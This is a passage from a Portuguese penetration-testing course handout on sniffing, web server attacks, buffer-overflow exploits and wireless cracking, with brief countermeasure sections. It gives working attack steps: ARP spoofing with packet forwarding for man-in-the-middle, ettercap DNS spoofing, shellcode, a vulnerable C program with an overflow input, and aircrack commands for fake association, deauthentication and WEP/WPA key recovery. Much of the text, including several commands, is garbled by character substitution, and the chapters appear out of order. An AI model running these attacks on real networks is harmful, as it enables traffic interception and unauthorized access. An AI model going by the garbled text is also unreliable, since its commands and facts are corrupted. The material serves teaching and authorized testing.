ABC$ADE$C$A para o envio do ?/4PHE/H5HRE:UES6 >ping@ ! necess#rio sa&er o
endereo 4A/ do destinat#rio+ ele consegue isso enviando u pacote ao endereo de
&roadcast fsico ><<=<<=<<=<<=<<=<<@ perguntando 'ue ! o 4A/ da'uele
deterinado ?P+ o dono do ?P responde a re'uisi)o+ soente ap(s isto a
counica)o ocorre$
Ap(s esta resolu)o a a'uina local coloca a resolu)o e seu cache local+
'ue pode ser visto co o coando arp+ o&serve a&ai;o$
twm:~# a! "an
< (192.168.2.101) at 00:1;:26:;8:42:1; =et6e> on et60
< (192.168.2.1) at 00:18:39:8?:@@:82 =et6e> on et60
twm:~#
Baseados nisto+ vocIs %# deve iaginar coo o Jindows desco&re 'ue e;iste
conflito de ?P 'uando ! iniciado$ Siples+ 'uando ele ! ligado ele envia por &roadcast
ua re'uisi)o perguntando 'ue ! o 4A/ do ?P pr(prio dele+ se algu coputador
da rede responder ! por'ue o ?P %# est# e uso$
15.". #rp Spoof
Kaos evoluindo nossa e;plica)o+ os ata'ues de arp spoof consiste e
adicionarLsu&stituir na ta&ela arp da a'uina alvo ua entrada 'ue di"
Captulo 15 Tcnicas de ni!!ing - 18$
?PH:UEHAH4A:U?NAHA0K5HES6AHSEH/54UN?/AND5 78889 SEUH4A/$ /o
isso 'uando a a'uina alvo for ontar o pacote para envio ela ontara co o ?P real
do servidor de destino 'ue ela 'uer acessar+ pore utili"ar# SEU endereo 4A/+ ou
se%a+ 'uando este pacote passar pelo switch o eso encainhar# o pacote para
vocI$
# a!*!oof "i A&'B7CD@;7> "t A&%+?E+@FGE>
A&%+HI7+S7I+@FGE+G@&+8@%7@C+%@C@+S7I+8@;>
# a!*!oof "i et60 "t 192.168.1.3 192.168.1.7
No e;eplo acia o ?P ABC$ADE$A$G vai adicionarLatuali"ar a sua ta&ela arp
co os novos dados$ Para o ata'ue ser AFFM funcional ! preciso fa"er o eso para
o ?P ABC$ADE$A$N e ha&ilitar o forward de pacotes >echo ,A,
9LprocLs2sLnetLipvOLipHforward@ na sua #'uina+ co isso o trafego entre tais hosts
passar# por vocI e vocI poder# sniffar eLou fa"er ata'ues de 4?64 >4an.?n.
6heH4iddle@$
Comandos=
# a!*!oof "i et60 "t 192.168.1.3 192.168.1.7
# a!*!oof "i et60 "t 192.168.1.7 192.168.1.3
# ec6o J1J > 3!oc3*)*3net3i!143i!+fowad
15.5. $rincipais protocolos vulner%veis a sniffer
5s protocolos citados a&ai;o s)o ais vulner#veis a a)o de u Sniffer+ por
passare senhas e te;to a&erto$ 0ogo+ se u atacante tiver acesso a 0AN poder#
facilente interceptar senhas e ganhar v#rios acesso$
6elnet
Rlogin
H66P
Captulo 15 Tcnicas de ni!!ing - 18%
S46P
NN6P
P5P
<6P
?4AP
15.&. $rincipais 'erramentas
15.6.1. Dsniff
Dsniff possui diversas ferraentas e seu pacote de dados$ 6a&! possui
diversos filtros+ capa" de interpretar dados de diversos protocolos$
Para e;ecut#.lo+ &asta seguir o coando a&ai;o=
# d*niff "i et60
15.6.2. Ettercap
E;treaente faoso no undo do hac*ing+ esse sniffer ! capa" de capturar
trafego e switch por possuir t!cnicas arp spoof$ Al! disso+ a ferraenta !
coposta por diversos plugins 'ue possi&ilita identificar #'uina+ encontrar portas
a&ertas e finali"ar cone;-es ativas+ al! de capturar sess-es de protocolos coo
telnet$
# etteca! KB, K8 @C% 33 33
# cd 35*3.oca.3*6ae3etteca!
# 1i ette.dn*
# etteca! KB, K8 @C% 33 33 "% dn*+*!oof
5s coandos acia reali"a ARP Spoof entre todos os hosts da rede e o
segundo coando reali"a+ al! de fa"er o ARP Spoof+ fa" ta&! o DNS Spoof$
Por!+ podeos e;ecutar apenas o coando 1ettercap3$ Nesse caso+ !
Captulo 15 Tcnicas de ni!!ing - 184
necess#rio e;plicitar ua orige e u destino para 'ue o sniffer possa coece a
atuar$ Depois de reali"ado esse passo+ &asta esperar pela captura de senhas$ /aso
dese%e conhecer as funcionalidades dos plug.ins+ &astar apertar a tecla 3p3 e cia
de ua cone;)o$
15.6.3. TCPDump
5 tcpdup ! u dos ais+ se n)o o ais ,faoso, sniffer para sisteas
PNUL0inu;$ /o ele podeos reali"ar an#lises de redes e solucionar pro&leas$ Sua
utili"a)o ! siples e se ist!rios+ &astando apenas ter os conhecientos &#sicos
de redes 6/PL?P$
A instala)o do tcpdup e sisteas De&ian ! super siples+ &astando
e;ecutar o coando a&ai;o coo super usu#rio >root@=
# a!t"$et in*ta.. tc!d5m!
Exemplos=
# tc!d5m! "i et60
# tc!d5m! "i et60 *c 6o*t 192.168.0.9
# tc!d5m! "i et60 d*t 6o*t 192.168.0.1
# tc!d5m! "i et60 not 6o*t 192.168.0.8
# tc!d5m! "i et60 d*t !ot 80
# tc!d5m! "i et60 *c !ot 32881
# tc!d5m! "ni et60 L*c net 10.10.10.0324 and d*t 6o*t 192.168.0.1 and d*t
!ot 80L
# tc!d5m! "i et60 "n "* 1500 "c 1000 "w fi.e.ca!
Parmetros=
.s 'tde de &2tes capturados do pacote >o padr)o ! DE@
.c 'tde de pacotes
Captulo 15 Tcnicas de ni!!ing - 185
.w ara"enar no ar'uivo
15.6.4. Wireshark
Jireshar*+ o &o e velho Ethereal+ ! u poderoso sniffer+ 'ue perite
capturar o tr#fego da rede+ fornecendo ua ferraenta poderosa para detectar
pro&leas e entender elhor o funcionaento de cada protocolo$
Captulo 15 Tcnicas de ni!!ing - 18&
15.(. )*S $+arming
E infor#tica Pharing ! o tero atri&udo ao ata'ue &aseado na t!cnica
DNS cache poisoning+ 'ue consiste e corroper o DNS e ua rede de
coputadores+ fa"endo co 'ue a UR0 de u site passe a apontar para u servidor
diferente do original$
Ao digitar a UR0 do site 'ue dese%a acessar u &anco+ por e;eplo+ o servidor
DNS converte o endereo e u nQero ?P+ correspondente ao do servidor do &anco$
Se o servidor DNS estiver vulner#vel a u ata'ue de Pharing+ o endereo poder#
apontar para ua p#gina falsa hospedada e outro servidor co outro endereo ?P+
'ue este%a so& controle do atacante$
Links=
http=LLwww$technicalinfo$netLpapersLPharing$htl
http=LLwww$technicalinfo$netLpapersLPharingC$htl
Captulo 15 Tcnicas de ni!!ing - 187
15.7.1. Ataque D!
Para redirecionar para u site we& especfico=
# cd 35*3*6ae3etteca!3
# m1 "f ette.dn* ette.dn*.o.d
# 1im ette.dn*
M @ 44.44.44.44 www(dot)te*t(dot)com
E;plicando o conteQdo do ar'uivo=
R 8 donio ou ip 'ue ser# redirecionado
;;;$;;;$;;;$;;; 8 ?P do site falso
www$sitefalso$co$&r 8 UR0 do site falso
Comando=
# etteca! "i et60 "B ", "% dn*+*!oof "8 a! 33 33
15.,. $r%tica dirigida
A$ Definir duplas para a pr#tica$
C$ Especificar o site 'ue ser# redirecionado e para onde ser# feito o
redirecionaento$
G$ 0anar o ata'ue no copanheiro de pr#tica+ e depois inverter os pap!is+ onde
ser# o atacante e o outro o alvo$
Captulo 15 Tcnicas de ni!!ing - 188
15.-. Contramedidas
A elhor defesa contra u sniffer de rede ! a criptografia$ A criptografia n)o
previne o ata'ue de sniffer+ por!+ u atacante n)o conseguir# identificar os dados
'ue ele capturou$
6a&! e;iste ferraentas capa"es de analisar e detectar ata'ues ARP$ 5
lin* a seguir ! u vdeo do funcionaento de ua ferraenta 'ue detecta esse
ata'ue=
6tt!:33www.co.a*oft.com3down.oad3a!+f.ood+a!+*!oofin$+a!+!oi*onin$+at
tac/+*o.5tion+wit6+ca!*a.!6!.
Captulo 15 Tcnicas de Sniffing - 189
Captulo 16
Ataques a Servidores WEB
16.1. Objetivos
Aprender como encontrar vulnerabilidades em servidores web
Conhecer diferentes as diferenas entre Apache e IIS
Descobrir como explorar as vulnerabilidades encontradas
Captulo 16 Ataques a Servidores W! - 19"
16.2. Tipos de ataques
Servidores WEB normalmente so os primeiros alvos de atacante ue ueira
entrar numa rede ue tenha uma D!" com servidores p#blicos sendo executados$
se%am servidores de WEB$ E&mail$ '()$ Banco de Dados e etc*
A partir do comprometimento de um servidor na D!"$ fica muito mais f+cil
comprometer uma m+uina da interna e conse,uir acesso -s informa.es
confidenciais$ ou comprometer a rede inteira*
)odemos dividir em dois ,randes ,rupos os tipos de ataues mais lanados
contra servidores WEB/
16.2.1. DoS
0ammin, 1etwor2s
'loodin, Service )orts
!isconfi,urin, 3outers
'loodin, !ail Servers
16.2.2. DDoS
'() Bounce Attac2s
)ort Scannin, Attac2
)in, 'loodin, Attac2
Smurf Attac2
S41 'loodin, Attac2
I) 'ra,mentation56verlappin, 'ra,ment Attac2
Captulo 16 Ataques a Servidores W! - 191
I) Seuence )rediction Attac2
D1S Cache )oisonin,
S1!) Attac2
Send !ail Attac2
6 ,rande risco de servidores WEB$ 7 ue os mesmo esto 89 horas no ar$ :
dias por semana* ;avendo ualuer vulnerabilidade ou erro na confi,urao no h+
d#vida de ue em um determinado momento ser+ explorado$ basta contar uantas
horas isso vai demorar*
Al7m da explorao$ para conse,uir acesso ao servidor e seus aruivos$ temos
os ataues do tipo DoS e DDoS$ ue causam a indisponibilidade do servio sendo
executado$ no permitindo acesso aos site hospedados no servidor WEB
comprometido* Ima,ine as implica.es e pre%u<=os de um ataue desse tipo num
servidor ue hospeda um site ou servio importante$ como uma lo%a online$ por
exemplo>
16.3. Fi!erprit e" Web Server
Antes de testar ualuer tipo de ataue contra um servidor WEB ue tenha
sido descoberto ao lon,o do processo de teste de invaso$ precisamos ter acesso -
al,umas informa.es b+sicas sobre nosso alvo*
?m dos meios de se conse,uir isso 7 atrav7s do fin,erprint reali=ado sobre o
servidor WEB$ ou simplesmente usando o dom<nio hospedado no mesmo como
par@metro*
A se,uir$ vamos ver uma ferramenta ue reali=a esse procedimento
automaticamente$ bastando ue informemos o nome do dom<nio hospedado*
Captulo 16 Ataques a Servidores W! - 19#
16.3.1. Httprint
'erramenta para pe,ar o banner de identificao do servidor web*
A partir da ima,em acima$ usando um site ualuer como exemplo$
descobrimos ue$ com A8*BCD de certe=a$ o servidor sendo executado 7 o !icrosoft&
IIS5E*F$ e o site foi construindo usando AS) ou AS) *1E(* As demais possibilidades de
servidor sendo executados$ so mostrados na parte inferior esuerda da tela/
!icrosoft&IIS5B*F$ com G8*C9D
!icrosoft&IIS5B*G$ com G8$C9D
Apache5G*C*8E$ com G8$C9D
Captulo 16 Ataques a Servidores W! - 19$
16.#. $es%obrido &ulerabilidades %o" 'i(to
1i2to 7 um script )erl usado para testar a se,urana de seu servidor web* Ele
fa= a varredura em servidores Apache tanto em busca de vulnerabilidades$ uanto de
falhas de confi,urao$ ue podem$ de al,uma forma$ expor o servidor - explorao
por al,um atacante malicioso$ %+ ue$ se o servidor estiver hospedando al,um site ou
aplicao de acesso p#blico$ o risco de explorao 7 imenso*
)ara atuali=ar e executar o 1i2to$ utili=amos os se,uintes comandos/
# ./nikto.pl -update
# ./nikto.pl -h 192.168.131.1 -o /192.168.131.1.txt
)odemos adicionar o sinali=ador de evaso$ ue tenta contornar seus sistemas
de IDS/
# perl nikto.pl -h www.xyz.com.br -ea!ion 1
Existem H op.es diferentes para fla,s de evaso$ G 7 para 3andom ?3I
encodin, Jnon&?('AK*
6 processo f+cil e descomplicado de
instalao de uma plataforma IA!) JIinux$
Apache$ !LSMI$ );)K permite a Nbanali=aoO de
servidores web na internet$ confi,urados com vistas
apenas a funcionalidade$ sem considerar uest.es
relativas - se,urana*
A inse,urana do servidor web no depende
exclusivamente de falhas de confi,urao ou
vulnerabilidades de software$ muitas ve=es os
prPprios usu+rios JwebmastersK comprometem a
se,urana dos servio*
Muem 7 da +rea com certe=a %+ deparou&se
com aruivos do tipo site*=ip$ senhas*txt$ lar,ados
Captulo 16 Ataques a Servidores W! - 19%
no publicQhtml* !uitos acham ue pelo fato do diretPrio possuir &Indexes Jdesativar
lista,em de aruivosK o aruivo est+ se,uro$ 7 BES(EI3A pensar assim$ ainda mais
se o aruivo possui nome bem conhecido$ webservers scanner adoram procurar esses
aruivos*
6 ni2to permite a reali=ao de diversos testes$ vale uma olhada no diretPrio
docs5 e uma lida no help/
# ./nikto.pl -"elp # le!!
16.). Auditoria e E*plora+,o de Web Servers %o" W3AF
Essa ferramenta 7 um framewor2 para auditoria e ataue em aplica.es web*
$%&ina do pro'eto( http(//!ource)or&e.net/pro'ect!/w3a)/
*+deo!( http(//w3a).!ource)or&e.net/ideo!/ideo-demo!.php
6 mais interessante$ 7 ue podemos personali=ar os testes ue essa
ferramenta pode reali=ar$ podendo utili=ar$ tamb7m$ profiles previamente
confi,urados por padro* (emos$ por exemplo$ o profile baseado na (6)GF 6WAS)$
um relatPrio anual das vulnerabilidades mais exploradas$ lanado pelo )ro%eto
6WAS)*
6utras possibilidades incluem varredura de auditoria$ em busca de falhas de
confi,urao ou sitemap$ ue nos retorna um mapa completa do site analisado*
Captulo 16 Ataques a Servidores W! - 195
16.6. Olie S%aer
;+ v+rias ferramentas online ue podemos utili=ar para fa=er a varredura de
web servers e obter informa.es necess+rias para a explorao de vulnerabilidades
encontradas*
http(//www.netcra)t.com/
http(//www.zeroday!can.com/
6 site 1etcraft oferece informa.es sobre as confi,ura.es do servidor onde o
site est+ hospedado$ sobre dom<nios vinculados ao ue est+ sendo pesuisado e
muitas outras informa.es importantes para podermos reali=ar um ataue com
sucesso*
0+ o "eroDaLScan$ 7 um site ue permite fa=er a varredura em busca de
vulnerabilidades ue posam existir em sua aplicao* 6 ue 7 mai interessante$ 7 ue
uando reali=amos a busca$ ele tamb7m retorna no relatPrio final$ o endereo de
todos os outros dom<nios hospedados no mesmo servidor*
Muando um atacante busca acesso - um servidor WEB$ basta descobrir
vulnerabilidades em ualuer um dos sites hospedados no mesmo e explor+&las para
obter sucesso em seu ataue*
Captulo 16 Ataques a Servidores W! - 196
6 #nico empecilho para reali=ar um ataue desse tipo$ 7 ue 7 necess+rio
hospedar um aruivo txt como nome de R=erodaLscan*txtS$ como comentado no
cap<tulo sobre vulnerabilidades em aplica.es WEB*
16.-. Cotra"edidas
3eali=ar constantes verifica.es nas confi,ura.es de se,urana dos servidores
web*
Atuali=ar constantemente os servidores*
Diminuir ao m+ximo as informa.es ue so transmitidas pelos web servers -s
ferramentas de fin,erprintin,*
Captulo 1& Ataques a 'edes Se( )io - #"6
Captulo 1.
E*ploits
1..1. Objetivos
Entender o ue 7 um Buffer 6verflow
Aprender como explorar uma falha dessa cate,oria
Captulo 18 *ploits - #"&
1..2. /as a0ial1 o que 2 u" e*ploit3
?m exploit$ em se,urana da informao$ 7 um pro,rama de computador$ uma
poro de dados ou uma seuTncia de comandos ue se aproveita das
vulnerabilidades de um sistema computacional U como o prPprio sistema operativo ou
servios de interao de protocolos Jex/ servidores WebK*
So ,eralmente elaborados por hac2ers como pro,ramas de demonstrao
das vulnerabilidades$ a fim de ue as falhas se%am corri,idas$ ou por crac2ers a fim
de ,anhar acesso no autori=ado a sistemas* )or isso muitos crac2ers no publicam
seus exploits$ conhecidos como FdaLs$ e o seu uso massificado deve&se aos script&
2iddies*
Muatro sites ue podem ser usados como fonte de exploits so/
www.milw,rm.com
www.!ecurity)ocu!.com
www.packet!torm!ecurity.com
www.meta!ploit.com
1..3. Or!ai4a+,o dos 5ro%essos a /e"6ria
)ara entendermos como funciona um buffer overflow$ nPs precisaremos
entender como funciona a pilha Jstac2K*
A re,io de texto 7 fixa pelo pro,rama e inclui as instru.es propriamente
ditas e os dados Rsomente leituraS* Esta re,io corresponde ao se,mento de texto do
bin+rio execut+vel e 7 normalmente marcada como somente&leitura para ue
ualuer tentativa de escrevT&la resulte em violao de se,mentao Jcom o ob%etivo
de no permitir cPdi,o auto&modific+velK*
6s processos em execuo so divididos em uatro re,i.es/ texto$ dados$ pilha
e heap* A pilha 7 um bloco de memPria cont<,uo utili=ado para arma=enar as
vari+veis locais$ passar par@metros para fun.es e arma=enar os valores de retornos
Captulo 18 *ploits - #"8
destas*
6 endereo de base da pilha 7 fixo e o acesso - estrutura 7 reali=ado por meio
das instru.es )?S; e )6) implementadas pelo processador* 6 re,istrador chamado
Vponteiro de pilhaV JS)K aponta para o topo da pilha*
A pilha consiste em uma seWTncia de frames ue so colocados no topo
uando uma funo 7 chamada e so retirados ao final da execuo* ?m frame
cont7m os par@metros para a funo$ suas vari+veis locais$ e os dados necess+rios
para recuperar o frame anterior$ incluindo o valor do ponteiro de instruo no
momento da chamada de funo*
Dependendo da implementao$ a pilha pode crescer em direo aos
endereos altos ou baixos* 6 ponteiro de pilha tamb7m 7 de implementao
dependente$ podendo apontar para o #ltimo endereo ocupado na pilha ou para o
prPximo endereo livre* Como o texto trata da aruitetura Intel xAE$ iremos utili=ar
uma pilha ue cresce para os endereos baixos$ com o ponteiro de pilha Jre,istrador
ES)K apontando para o #ltimo endereo da pilha*
Al7m de um ponteiro de pilha$ tamb7m 7 conveniente contar com um
Vponteiro de frameV J')K ue aponta para um endereo fixo no frame* A princ<pio$
vari+veis locais podem ser referenciadas fornecendo&se seus deslocamentos em
relao ao ponteiro de pilha* Entretanto$ uando palavras so inseridas e retiradas
da pilha$ estes deslocamentos mudam* Apesar de em al,uns casos o compilador
poder corri,ir os deslocamentos observando o n#mero de palavras na pilha$ essa
,erTncia 7 cara* 6 acesso a vari+veis locais a dist@ncias conhecidas do ponteiro de
pilha tamb7m iria reuerer m#ltiplas instru.es* Desta forma$ a maioria dos
compiladores utili=a um se,undo re,istrador ue aponta para o topo da pilha no
in<cio da execuo da funo$ para referenciar tanto vari+veis locais como
par@metros$ %+ ue suas dist@ncias no se alteram em relao a este endereo com
chamadas a )?S; e )6)* 1a aruitetura Intel xAE$ o re,istrador EB) 7 utili=ado para
esse propPsito*
)or causa da disciplina de crescimento da pilha$ par@metros reais tTm
deslocamentos positivos e vari+veis locais tTm deslocamentos ne,ativos a partir de
')*
A primeira instruo ue um procedimento deve executar uando chamado 7
Captulo 18 *ploits - #"9
salvar o ') anterior$ para ue possa ser restaurado ao fim da execuo* A funo
ento copia o re,istrador de ponteiro de pilha para ') para criar o novo ponteiro de
frame e a%usta o ponteiro de pilha para reservar espao para as vari+veis locais* Este
cPdi,o 7 chamado de prPlo,o da funo* Ao fim da execuo$ a pilha deve ser
restaurada e a execuo deve retomar na instruo se,uinte - de chamada da
funo$ o ue chamamos de ep<lo,o* As instru.es CAII$ IEAXE e 3E( nas m+uinas
Intel so fornecidas para parte do prPlo,o e ep<lo,o em chamadas de funo* A
instruo CAII salva na pilha o endereo da instruo se,uinte como endereo de
retorno da funo chamada* A instruo 3E( deve ser chamada dentro do
procedimento e restaura a execuo no endereo ue est+ no topo da pilha*
1..#. S7ell%ode
Shellcode 7 um ,rupo de instru.es assemblL em formato de opcode para
reali=ar diversas fun.es como chamar uma shell$ ou escutar em uma porta*
Yeralmente$ um shellcode 7 utili=ado para explorar determinada vulnerabilidade$
,anhando&se controle sobre a aplicao vulner+vel e podendo&se executar ualuer
instruo dese%ada*
Exemplo de shellcode mais simples poss<vel/
Captulo 18 *ploits - #1"
Shellcode = \xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80
6 shellcode acima no 7 Rin%et+velS$ pois possui 1ull BLtes J5xFFK$ o ue
caracteri=a um final de strin,* )ortanto$ ao usarmos o shellcode acima$ o pro,rama
encontrar+ o final da strin, e parar+$ no executando o restante do nosso paLload*
!ais detalhes veremos lo,o abaixo*
Shellcode Injetvel: \x31\xdb\xb0\x01\xcd\x80
1o exemplo de explorao de um Stac2 6verflow$ utili=aremos um outro
shellcode$ ue se encarre,ar+ de executar o 5bin5sh ao inv7s de executar a funo
exitJK$ como o shellcode acima fa=*
1..). Bu00er Over0lo8
?m buffer overflow acontece uando um pro,rama vulner+vel a esse tipo de
falha tenta copiar mais informa.es para dentro de um buffer do ue esse buffer
conse,ue suportar* )ara visuali=ar isso$ 7 a mesma coisa ue pe,ar uma ,arrafa de
refri,erante de 8 litros e virar ela toda num copo de BFFml* Com certe=a ocorrer+
uma su%eira na mesa em ue isso foi feito$ e 7 a mesma coisa ue ocorre na memPria$
um esparramado de caracteres sobre a memPria ue ir+ sobrescrever informa.es
importantes assim como o refri,erante su%ou toda a toalha da mesa*
As vulnerabilidades de buffer overflow so consideradas ameaas cr<ticas de
se,urana$ apesar de ser uma falha bem conhecida e bastante s7ria$ ue se ori,ina
exclusivamente na i,nor@ncia do pro,ramador referente a aspectos de se,urana
durante a implementao do pro,rama$ o erro se repete sistematicamente a cada
nova verso ou produto liberado*
Este tipo de vulnerabilidade tem sido lar,amente utili=ado para a penetrao
remota de computadores li,ados a uma rede$ onde um atacante anZnimo tem como
ob%etivo obter acesso ile,al ao computador vulner+vel* !esmo software considerado
se,uro$ como o 6penSS;$ %+ apresentou o problema$ e tamb7m softwares famosos
como o Sendmail e mPdulos do Apache*
Buffer overflows so tamb7m chamados de buffer overruns e existem diversos
Captulo 18 *ploits - #11
tipos de ataues de estouro de buffer$ entre eles stac2 smashin, attac2s$ ataues
contra buffers ue se encontram na pilha Jvou cham+&la de stac2K$ e heap smashin,
attac2s$ ue so ataues contra buffers ue se encontram na heap* (ecnicamente$ um
buffer overflow 7 um problema com a lP,ica interna do pro,rama$ mas a explorao
dessa falha pode levar a s7rios pre%u<=os$ como por exemplo$ o primeiro ,rande
incidente de se,urana da Internet & o !orris Worm$ em GHAA & utili=ava t7cnicas de
estouro de buffer$ num pro,rama conhecido como fin,erd*
6 ob%etivo de uma explorao contra um pro,rama privile,iado vulner+vel a
buffer overflow 7 conse,uir acesso de tal forma ue o atacante consi,a controlar o
pro,rama atacado$ e se o pro,rama possuir privil7,ios suficientes$ ou se%a se ele
possui fla, suid root$ controlar a m+uina*
Abaixo temos um peueno pro,rama vulner+vel$ ue permitir+ ue faamos
uma prova de conceito/
#include -!tdio.h.
main/0 1
char 2name3
char 2dan&erou!4!y!tem4command3
name 5 /char 20 malloc/1,03
dan&erou!4!y!tem4command 5 /char 20 malloc/12803
print)/67ddre!! o) name i! 8d9n6: name03
print)/67ddre!! o) command i! 8d9n6: dan&erou!4!y!tem4command03
!print)/dan&erou!4!y!tem4command: 6echo 8!6: 6"ello world;603
print)/6<hat=! your name>603
&et!/name03
!y!tem/dan&erou!4!y!tem4command03
?
Salve o aruivo como overrun*c$ depois compile e execute&o com os se,uintes
comandos/
#&cc oerrun.c -o oer
#./oer
Captulo 18 *ploits - #1#
)ara test+&lo$ di,ite o se,uinte no prompt exibido pelo pro,rama/
,123@A6B89123@A6l!
E ve%a o ue acontece[
6 ue causa essa falha$ 7 o fato de ue a vari+vel RnameS ocupa apenas um
determinado espao Jue 7 peuenoK na memPria* Muando estouramos esse espao$ e
conse,uimos sobrescrever a pilha EI) da memPria$ inserindo um comando ue
ueiramos ue se%a executado$ o resultado final 7 a execuo do mesmo*
1..6. Co%lus,o
Com isso$ conse,uimos demonstrar o peri,o ue 7 uma falha de pro,ramao
em um pro,rama*
\ poss<vel obter controle completamente sobre o pro,rama ue esta sendo
explorado*
Se o pro,rama oferecer al,um servio remotamente$ a falha pode ser
explorada remotamente$ da mesma forma ue foi explorada localmente$ apenas
trocando o shellcode e criando os soc2ets ue sero respons+veis para se
conectar no pro,rama*
Captulo 16 Ataques a Servidores WEB - 197
Captulo 17
Ataques a Redes Sem Fio
17.1. Objetivos
Entender as tcnicas para acessar as redes sem fio
Uma viso sobre WEP, WPA e as tcnicas de ataque
Entender como funciona o ataque baseado em Rainbow Tables
Captulo 17 Ataques a Redes Sem Fio - 198
17.2. Introduo
Nunca deie sua rede wireless desprote!ida, sem sen"a ou com protocolo
WEP, pois por padro ser# quebrado por qualquer pessoa com pouco con"ecimento,
podendo assim ter acesso a informa$%es
confidenciais&
Uma rede wireless mal pro'etada pode
driblar todo o arsenal de defesa '# implementado&
(amos ima!inar a se!uinte situa$o) sua empresa
colocou uma mural"a *e) firewall+ para prote$o
dos ataques& Porm, a mural"a completamente
ineficiente contra os ataques areos *e)
wireless+& Antes de come$ar a implementar uma
rede wireless, fa$a um plane'amento e estude
toda a topolo!ia da rede& No se esque$a de
evitar os ataques areos,
17.!. "ardrivin#
Um dos ataques mais comuns e comentados
em redes wireless o War -rivin!, que tem como
ob'etivo .andar/ com um dispositivo wireless em
busca de Access Points& Esse ataque tira proveito de
uma caracter0stica fundamental) dif0cil controlar e
limitar o alcance de redes wireless& 1 atacante pode
estar neste eato momento .passeando/ no seu carro
e com o laptop li!ado .procurando/ redes wireless
vulner#veis&
Essa tcnica tem como ob'etivo identificar as redes sem fio acess0veis de um
determinado local&
Captulo 17 Ataques a Redes Sem Fio - 199
17.$. Ataques ao proto%olo "&'
As informa$%es que trafe!am em uma rede wireless podem ser cripto!rafadas&
1 protocolo WEP *Wired Equivalent Privac2+ aplica cripto!rafia avan$ada ao sinal e
verifica os dados com uma .c"ave de se!uran$a/ eletr3nica& Porm, a Universidade
de 4er5ele2 revelou a possibilidade de al!uns tipos de ataques que eploram fal"as
no al!oritmo WEP& 4aseados em an#lises que eploram fraque6as do al!oritmo R78,
uma sen"a WEP pode ser descoberta& 9ump"re2 7"eun! escreveu o arti!o 9ow To
7rac5 WEP, descrevendo passo a passo como descobrir a sen"a do protocolo WEP&
1 arti!o pode ser obtido na url "ttp)::www&isaac&cs&ber5ele2&edu:isaac:wep;
faq&"tml&
Ap<s a publica$o do arti!o, sur!iram al!umas ferramentas que eploravam o
problema descrito no mesmo& Um eemplo de ferramenta o aircrac5&
1 aircrac5 um con'unto de ferramenta bastante poderoso e amplamente
usado para reali6ar ataques a redes sem fio&
(amos ver um passo a passo de uso do pro!rama para descobrir uma c"ave
wep&
Em primeiro lu!ar, vamos fa6er uma varredura para ver as redes Wi=i
eistentes no ambiente)
# iwlist scan
7olocando a interface wireless em modo monitor)
# airmon-ng start wlan0
>niciando a captura dos pacotes)
# airodump-ng --ivs -w wep -c canal_da_rede mon0
1nde)
;c ? 7anal
Captulo 17 Ataques a Redes Sem Fio - 2
;w ? Prefio do arquivo a ser salvo
;i ? 7apturar apenas pacotes que contem >(s
wlan@ ? >nterface wireless
A!ora, vamos enviar um pedido de falsa associa$o para o nosso alvo *Access
Point+, falando para ele aceitar os nossos pacotes)
# aireplay-ng -1 0 -e invasao_ap -a 00:00:00:00:00:01 -h 00:00:00:00:00:02
wlan0
1nde)
;A ? 1p$o para mandar uma autentica$o falsa
@ ? Tempo para reassocia$o, em se!undos
;e ? EBB>- do alvo *Nome do access point+
;a ? Cac Address do Access Point
;" ? Nosso CA7 Address
wlan@ ? Nossa interface wireless
A!ora, vamos tentar enviar arp request para a rede, na tentativa que al!uma
maquina receba e comece a enviar arp repla2 para n<s, aumentando o tr#fe!o
rapidamente& >sso pode ser observado na tela do airodump;n!, onde a quantidade de
D-ATAD capturada aumentar# rapidamente&
# aireplay-ng -3 -b 00:00:00:00:00:01 -h 00:00:00:00:00:02 wlan0
1nde)
;E ? 1p$o para arp request
;b ? CA7 Address do Access Point
;" ? CA7 Address usado na associa$o& Nesse caso, o nosso CA7
wlan@ ? Nossa interface wireless
A!ora que temos uma quantidade !rande de pacotes, podemos eecutar o
Captulo 17 Ataques a Redes Sem Fio - 21
aircrac5 para de fato, descobrirmos a c"ave)
#aircrack-ng -a 1 wep-01.ivs
1nde)
;a ? Codo para for$ar um determinado tipo de ataque
A ? WEP
wep;@A&ivs ? Arquivo !erado pelo airodump;n! *selecionamos o prefio wep e
apenas pacotes >(s+
A!ora a!uardar que o aircrac5;n! nos mostrar# a c"ave& 7aso ele no
consi!a, tente capturar mais pacotes e eecute novamente&
17.(. SSI) O%ulto
1s BB>- ocultos podem ser facilmente detectados atravs de sniffers, uma ve6
que o seu nome trafe!ado sem cripto!rafia em uma rede& Por isso, ocultar um BB>-
no aumenta a se!uran$a de uma rede sem fio&
1 pr<prio aircrac5, utili6ando o airodump, '# nos mostra todos os BB>-,
incluindo os ocultos&
7aso um BB>- no se'a eibido, podemos utili6ar a tcnica de solicita$o de
deautentica$o que reali6aremos no ataque contra WPA para for$ar um usu#rio a se
conectar novamente, e com isso, capturamos o BB>- que ele enviou durante o pedido
de coneo&
17.*. +AC Spoo,in#
Al!umas pessoas acreditam que esto se!uras ap<s liberar o acesso aos seus
Access Points apenas para determinados CA7 Address& 1 CA7 address, que um
valor que vem de f#brica nas nossas interfaces de redes, pode ser alterado&
F relativamente simples .for'ar/ o endere$o f0sico da sua placa de rede&
Portanto, no podemos confiar apenas nesse controle para !arantir a se!uran$a de
Captulo 17 Ataques a Redes Sem Fio - 22
uma rede sem fio&
Eemplo de comando no Ginu para alterar o CA7 Address)
# iconig wlan0 down hw ether 00:00:00:00:01:01
E como podemos con"ecer o CA7 Address de um usu#rio de uma
determinada redeH Bimples, sniffer novamente&
7omo eemplo, podemos utili6ar o airodump, e ele nos mostrar# os clientes
associados a um determinado Access Point& 7om isso, basta utili6armos o CA7
Address desse cliente na nossa interface de rede que conse!uiremos acessar o
Access Point&
17.7. "'A -rute For%e
Redes com WPA ainda no possuem uma vulnerabilidade como o WEP, onde
conse!uimos descobrir a c"ave ap<s analisar o tr#fe!o depois de um certo per0odo de
tempo& Porm, poss0vel reali6ar brute force contra o "as" da sen"a enviada durante
a coneo entre um cliente v#lido da rede e tentar descobrir a sen"a utili6ada para
coneo I rede&
(amos eemplificar o ataque usando o con'unto de ferramentas do aircrac5&
Ap<s colocar a placa novamente em modo monitor, como o eemplo acima, podemos
eecutar o airodump;n!)
# airodump-ng !c 11 !w wpa mon0
1nde)
;c ? canal
;w ? prefio usado no nome do arquivo que salvara os pacotes
Reali6ando a deautentica$o de um cliente conectado ao alvo, pois queremos
pe!ar a sen"a quando ele se reconectar)
# aireplay-ng -0 " !a 00:00:00:00:00:01 !c 00:00:00:00:00:02 wlan0
1nde)
